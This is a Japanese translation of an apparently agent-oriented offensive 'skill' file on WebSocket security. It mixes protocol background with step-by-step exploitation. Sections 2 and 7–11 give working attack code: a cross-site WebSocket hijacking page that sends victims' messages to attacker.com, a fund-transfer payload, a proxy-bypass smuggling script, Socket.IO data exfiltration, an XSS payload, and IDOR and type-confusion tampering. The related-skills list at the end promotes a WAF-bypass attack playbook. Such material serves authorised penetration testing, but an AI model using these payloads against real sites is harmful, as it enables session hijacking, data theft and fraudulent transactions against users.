websocket-security
WebSocketハンドシェイク・CSWSH・ツール(wsrepl、ws-harness、Burp)および一般的な脆弱性に関するスキル。リアルタイム通信・チャット・通知・WebSocket APIを使用するアプリのセキュリティ評価時に活用してください。
description の原文を見る
>- WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.
SKILL.md 本文
SKILL: WebSocket Security
AI LOAD INSTRUCTION: このスキルは WebSocket プロトコルの基礎、クロスサイト WebSocket ハイジャック (CSWSH)、実践的なツールの連携、一般的な脆弱性クラスをカバーします。認可を得たテストのみに適用し、トークンとメッセージコンテンツを機密情報として扱います。REST/GraphQL の補完的なテストについては、ワークスペースに存在する場合は
api-secをクロスロードして使用してください。
0. QUICK START
プロキシまたは生トラフィックレビュー中に、以下を監視してください:
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
サーバー成功応答の指標:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
ルーティングに関する注記: Burp/ブラウザ DevTools では 101 と Upgrade: websocket でフィルタリングします。より詳細な API テストについては、api-sec を通じて認証/認可モデルを調整してください。
1. PROTOCOL BASICS
Client request (典型例)
Upgrade: websocketとConnection: Upgrade— 必須のアップグレードハンドシェイク。Sec-WebSocket-Key— base64 nonce。サーバーは magic GUID とともにハッシュ化し、Sec-WebSocket-Acceptで応答します。Sec-WebSocket-Version: 13— ブラウザ相互運用性に関する現行の標準バージョン。
Server response
HTTP/1.1 101 Switching Protocols— ハンドシェイク完了。以降のフレームは RFC に従い WebSocket バイナリ/テキストフレームです。
最小限の概念的フロー:
Client: HTTP GET + Upgrade ヘッダー
Server: 101 + Sec-WebSocket-Accept
Channel: フレーム化されたメッセージ (text/binary)、ping/pong、close
2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
条件
- サーバーが WebSocket ハンドシェイク上で
Origin(またはそれに相当するバインディング) を検証しない、かつ - 被害者が対象サイトに対するアクティブなセッション (Cookie ベースまたはブラウザに保存された認証情報) を持っている。
その場合、被害者のブラウザで読み込まれた悪意のあるページが、CSRF と同様の精神で 被害者として WebSocket を開く可能性があります。ただし、永続的な双方向チャネル 向けです。
Proof-of-concept パターン (ラボラトリ/認可対象のみ)
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
テストに関する注記: Origin が確認されるかどうか、Cookie が送信されるかどうか (SameSite ルール)、サブプロトコルまたはカスタムヘッダーが必要かどうかを確認します。チェックが不足していると CSWSH リスクが増加します。
3. TESTING WITH TOOLS
wsrepl
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
WebSocket ライフサイクル中にブラウザ Cookie、ヘッダー、またはトークンリフレッシュを再現するために プラグイン を使用します。
ws-harness (他のツール用の HTTP へのブリッジ)
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
ブリッジされた HTTP サーフェスを介して SQL インジェクション ツールを使用する下流の例 (URL をローカルリスナーに調整):
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
Burp Suite ecosystem
- SocketSleuth — Burp 内の WebSocket トラフィックの検査と操作。
- WebSocket Turbo Intruder — 高速またはスクリプト化されたメッセージファジング。
4. COMMON VULNERABILITIES
| Issue | Why it matters |
|---|---|
Origin 検証の欠落 | 攻撃者制御ページからの CSWSH を有効にする |
URL 内の認証トークン (wss://host/ws?token=...) | ログ、プロキシ、Referer リーク、ブラウザ履歴 |
| メッセージのレート制限なし | 悪用、ブルートフォース、DoS |
wss:// の代わりに ws:// | 平文送信 (MITM) |
| メッセージ本文の注入 | SQLi、コマンドインジェクション、または別の場所に保存/反映された場合は XSS |
機密 URL のアンチパターン例:
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Sec-WebSocket-Protocol、最初のメッセージ認証、または製品の制約に合わせた Cookie + CSRF トークン パターンを推奨します。
5. DECISION TREE
- エンドポイントの識別 — JS バンドル、Swagger、または
101レスポンスから。wssvswsに注意。 - ハンドシェイクレビュー —
Origin、Host、Cookie ポリシーは正しいか?クエリ文字列にトークンがあるか? - セッションバインディング — Burp で別のユーザーの Cookie jar で再接続。サブスクリプショントピックとデータリークを比較。
- CSWSH — 被害者セッションが有効な状態で対象に接続するローカル HTML ページを読み込む。サーバーが間違った Origin を拒否するか、非 Cookie シークレットを使用するかを確認。
- メッセージセマンティクス — JSON/テキストペイロードをファジングして注入をテスト。HTTP API テストと同じロジックを適用。
- トランスポート — 本番環境での
ws://にフラグ。TLS と HSTS の調整を確認。
6. RELATED ROUTING
api-secから — 認証、認可、IDOR、およびレート制限はしばしば同じバックエンド内の WebSocket ルートの背後にある HTTP API を ミラー します。
注記: WebSocket はしばしば REST と同じセッションと権限モデルを共有します。同じバックエンド上での認証とリソース境界を調整するために api-sec を使用してください。
7. CSWSH — STEP-BY-STEP EXPLOITATION
Step 1: WS ハンドシェイク上で Origin チェックがないことを確認
# Burp で: WebSocket アップグレードリクエストを傍受
# Origin ヘッダーを以下に変更: https://attacker.com
# 101 Switching Protocols が返される → Origin 検証なし
# 403/拒否される → Origin がチェックされている (サブドメイン変種をテスト)
Step 2: 攻撃者ページの作成
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');
ws.onopen = function() {
// 接続が確立 (自動的に被害者として Cookie が送信)
console.log('Connected as victim');
// 被害者としてコマンドを送信
ws.send(JSON.stringify({action: 'get_profile'}));
ws.send(JSON.stringify({action: 'list_messages'}));
};
ws.onmessage = function(event) {
// 受信したすべてのメッセージを流出
fetch('https://attacker.com/collect', {
method: 'POST',
body: event.data
});
};
ws.onerror = function(err) {
fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
Step 3: Cookie とセッションハイジャック
WebSocket のブラウザ動作:
- 対象ドメインの Cookie は アップグレードリクエストで自動的に送信されます
- SameSite=None Cookie は常に送信されます
- SameSite=Lax Cookie: 送信されません (WebSocket はトップレベルナビゲーションではありません)
- SameSite=Strict Cookie: 送信されません
重要な質問: セッション Cookie は SameSite=None か従来の属性ですか(SameSite 属性なし)?
→ 従来の Cookie は最新の Chrome では Lax がデフォルトですが、古いブラウザでは None です
Step 4: 被害者としてメッセージを読み書き
// 攻撃者は WebSocket に対して読み書き両方ができます
// 読み: 金融データ、プライベートメッセージ、管理者コマンド
// 書き: 資金移動、設定変更、被害者として送信
ws.onopen = () => {
// 書き: 被害者として操作を実行
ws.send(JSON.stringify({
action: 'transfer',
to: 'attacker_account',
amount: 10000
}));
};
ws.onmessage = (e) => {
const data = JSON.parse(e.data);
if (data.type === 'balance') {
// 読み: 機密データを流出
navigator.sendBeacon('https://attacker.com/data',
JSON.stringify(data));
}
};
8. WEBSOCKET SMUGGLING
Concept
WebSocket アップグレードを使用してリバースプロキシ制限をバイパスしてから、WebSocket 接続を通じて任意の HTTP トラフィックをトンネリングします。
Upgrade ベースのプロキシバイパス
1. リバースプロキシが /admin へのアクセスを制限 (403 を返します)
2. クライアントが /ws への正当な WebSocket アップグレードを送信
3. プロキシがアップグレードを許可 (101 レスポンス)
4. アップグレード後、プロキシは接続の検査を停止 (生 TCP パススルー)
5. クライアントが "WebSocket" 接続を通じて生 HTTP リクエストを送信:
GET /admin HTTP/1.1
Host: backend-server
6. バックエンドが HTTP リクエストを処理 → 200 OK と管理コンテンツ
H2-over-WebSocket smuggling
1. WebSocket を通じてターゲットに接続
2. アップグレード後、HTTP/2 プリフェースを WebSocket トンネルを通じて送信
3. バックエンド HTTP/2 ハンドラーがスマッシュされたリクエストを処理
4. HTTP/1.1 トラフィックのみを検査する WAF/プロキシルールをバイパス
Python での実装
import websocket
import ssl
ws = websocket.create_connection(
'wss://target.com/ws',
header=['Origin: https://target.com'],
sslopt={"cert_reqs": ssl.CERT_NONE}
)
# アップグレード後、トンネルを通じて生 HTTP を送信
smuggled_request = (
b"GET /admin/users HTTP/1.1\r\n"
b"Host: internal-backend\r\n"
b"Connection: close\r\n\r\n"
)
ws.send(smuggled_request, opcode=0x2) # binary frame
response = ws.recv()
print(response)
Proxy 特有の動作
| Proxy | WebSocket Tunnel Behavior |
|---|---|
| Nginx | アップグレード後に生 TCP をパス — バックエンドが WS フレームを検証しない場合はスマッシング可能 |
| HAProxy | option http-server-close vs tunnel モードに依存 |
| AWS ALB | WebSocket を終了 — トラフィックを再フレーミング、スマッシング困難 |
| Cloudflare | WebSocket フレームを検査 — 生 HTTP スマッシングがブロック |
| Varnish | WebSocket をネイティブにサポートしない — アップグレードはキャッシュ全体をバイパス可能 |
9. SOCKET.IO SPECIFIC VULNERABILITIES
Namespace injection
Socket.IO はネームスペース (/admin, /chat) をサポートしています。デフォルトネームスペースのみで認可を行う場合:
// クライアントが認可チェックなしで特権ネームスペースに接続
const adminSocket = io('https://target.com/admin');
adminSocket.on('connect', () => {
adminSocket.emit('list_users');
});
// サーバーはクライアントが /admin ネームスペースの認可を受けているかを検証しない可能性があります
Event name injection
イベント名がユーザー入力から派生する場合:
// サーバー側の脆弱なパターン:
socket.on(userInput, handler);
// 攻撃者が内部イベントとマッチするイベント名を送信:
socket.emit('__disconnect'); // 他のクライアントを強制切断
socket.emit('connection'); // 接続ハンドラーを再トリガー
socket.emit('error'); // エラーハンドラーをトリガー
Acknowledgement callback 悪用
Socket.IO の確認応答はデータを返すことができます。サーバーが ack コールバックで機密データを送信する場合:
socket.emit('get_data', {id: 'admin'}, (response) => {
// response にはクライアントがアクセスすべきではないデータが含まれる可能性があります
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(response)
});
});
Polling fallback CSRF
Socket.IO は WebSocket が利用できない場合に HTTP long-polling にフォールバックします。polling トランスポートは Cookie を使用した通常の HTTP リクエストを使用します → 追加のトークン検証がない場合は CSRF の対象:
POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
Content-Type: application/octet-stream
4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
10. WEBSOCKET MESSAGE INJECTION
傍受された接続 (MITM on ws://)
アプリケーションが ws:// (暗号化なし) を使用する場合、同じネットワーク上の攻撃者がメッセージを注入できます:
1. ARP スプーフィング またはネットワーク位置で トラフィックを傍受
2. TCP ストリームで WebSocket フレームを識別
3. 正当なメッセージ間にクラフトされたフレームを注入
4. クライアント→サーバーとサーバー→クライアントの両方の注入が可能
Application-level injection
WebSocket メッセージが サニタイズなしで連結または補間される場合:
// サーバー側の脆弱なハンドラー:
socket.on('chat', (msg) => {
// msg に JSON メタ文字が含まれる場合:
broadcast(`{"user":"${username}","msg":"${msg}"}`);
// インジェクション: msg = '","admin":true,"msg":"hacked'
// 結果: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
});
Stored XSS via WebSocket
1. WebSocket メッセージを送信: <img src=x onerror=alert(document.cookie)>
2. サーバーがメッセージを保存して接続されているすべてのクライアントにブロードキャスト
3. クライアントがメッセージを HTML として レンダリングする場合 → stored XSS
4. すべての接続ユーザーが同時に影響を受ける
11. BINARY WEBSOCKET MESSAGE MANIPULATION
Protobuf deserialization
WebSocket 上で Protocol Buffers を使用するアプリケーションは以下に対して脆弱な可能性があります:
1. バイナリ WebSocket フレームをキャプチャ
2. protobuf 構造をデコード (protoc --decode_raw または protobuf-inspector を使用)
3. フィールド値を修正 (ユーザー ID、金額、役割を変更など)
4. 修正されたフレームを再エンコードして送信
5. サーバーがフィールド制約を再検証せずにデシリアライズ
# キャプチャされたバイナリフレームをデコード
echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
# 出力: フィールド構造、タイプ、値
# 修正して再エンコード、WebSocket を通じて送信
MessagePack deserialization
import msgpack
import websocket
ws = websocket.create_connection('wss://target.com/ws')
# 受信したバイナリメッセージをデコード
raw = ws.recv()
data = msgpack.unpackb(raw, raw=False)
# data = {'action': 'get_balance', 'user_id': 123}
# 修正して再送信
data['user_id'] = 1 # IDOR: 管理者のバランスにアクセス
ws.send(msgpack.packb(data), opcode=0x2)
Type confusion attacks
バイナリシリアライゼーション形式はタイプ混同を許可することがあります:
# 元: user_id を整数として (フィールドタイプ 0)
# 修正: user_id を文字列 "1 OR 1=1" として (フィールドタイプ 2)
# サーバーがデシリアライズ後にタイプを検証しない場合 → SQL インジェクション
# 元: is_admin をブール値 false として (0x00)
# 修正: is_admin をブール値 true として (0x01)
# サーバーがデシリアライズされた値を信頼する場合は直接特権昇格
Binary WebSocket 分析用ツール
| Tool | Purpose |
|---|---|
| Burp Suite + SocketSleuth | バイナリフレームを傍受および修正 |
protobuf-inspector | 未知の protobuf 構造をデコード |
msgpack-tools | MessagePack CLI をエンコード/デコード |
wsdump (websocket-client) | 生フレームキャプチャおよびリプレイ |
| Wireshark | プロトコルレベルで WebSocket フレームを分析 |
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
secure-code-guardian
認証・認可の実装、ユーザー入力の保護、OWASP Top 10の脆弱性対策が必要な場合に使用します。bcrypt/argon2によるパスワードハッシング、パラメータ化ステートメントによるSQLインジェクション対策、CORS/CSPヘッダーの設定、Zodによる入力検証、JWTトークンの構築などのカスタムセキュリティ実装に対応します。認証、認可、入力検証、暗号化、OWASP Top 10対策、セッション管理、セキュリティ強化全般で活用できます。ただし、構築済みのOAuth/SSO統合や単独のセキュリティ監査が必要な場合は、より特化したスキルの検討をお勧めします。
claude-authenticity
APIエンドポイントが本物のClaudeによって支えられているか(ラッパーやプロキシ、偽装ではないか)を、claude-verifyプロジェクトを模した9つの重み付きルールベースチェックで検証できます。また、Claudeの正体を上書きしているプロバイダーから注入されたシステムプロンプトも抽出します。完全に自己完結しており、httpx以外の追加パッケージは不要です。Claude APIキーまたはエンドポイントを検証したい場合、サードパーティのClaudeサービスが本物か確認したい場合、APIプロバイダーのClaude正当性を監査したい場合、複数モデルを並行してテストしたい場合、またはプロバイダーが注入したシステムプロンプトを特定したい場合に使用できます。
anth-security-basics
Anthropic Claude APIのセキュリティベストプラクティスを適用し、キー管理、入力値の検証、プロンプトインジェクション対策を実施します。APIキーの保護、Claudeに送信する前のユーザー入力検証、コンテンツセーフティガードレールの実装が必要な場合に活用できます。「anthropic security」「claude api key security」「secure anthropic」「prompt injection defense」といったフレーズでトリガーされます。
x-ray
x-ray.mdプレ監査レポートを生成します。概要、強化された脅威モデル(プロトコルタイプのプロファイリング、Gitの重み付け攻撃面分析、時間軸リスク分析、コンポーザビリティ依存関係マッピング)、不変条件、統合、ドキュメント品質、テスト分析、開発者・Gitの履歴をカバーしています。「x-ray」「audit readiness」「readiness report」「pre-audit report」「prep this protocol」「protocol prep」「summarize this protocol」のキーワードで実行されます。
semgrep
Semgrepスタティック分析スキャンを実行し、カスタム検出ルールを作成します。Semgrepでのコードスキャン、セキュリティ脆弱性の検出、カスタムYAMLルールの作成、または特定のバグパターンの検出が必要な場合に使用します。重要:ユーザーが「バグをスキャンしたい」「コード品質を確認したい」「脆弱性を見つけたい」「スタティック分析」「セキュリティlint」「コード監査」または「コーディング標準を適用したい」と尋ねた場合も、Semgrepという名称を明記していなくても、このスキルを使用してください。Semgrepは30以上の言語に対応したパターンベースのコードスキャンに最適なツールです。
ghost-bits-cast-attack
Java「ゴーストビッツ」/キャストアタック プレイブック(Black Hat Asia 2026)。16ビット文字が8ビットバイトに暗黙的に縮小されるJavaサービスへの攻撃時に使用します。WAF/IDSを回避して、SQLインジェクション、デシリアライゼーション型RCE、ファイルアップロード(Webシェル)、パストトラバーサル、CRLF インジェクション、リクエストスマグリング、SMTPインジェクションを実行できます。Tomcat、Spring、Jetty、Undertow、Vert.x、Jackson、Fastjson、Apache Commons BCEL、Apache HttpClient、Angus Mail、JDK HttpServer、Lettuce、Jodd、XMLWriterに影響し、WAFバイパスにより多くの「パッチ済み」CVEを再度有効化します。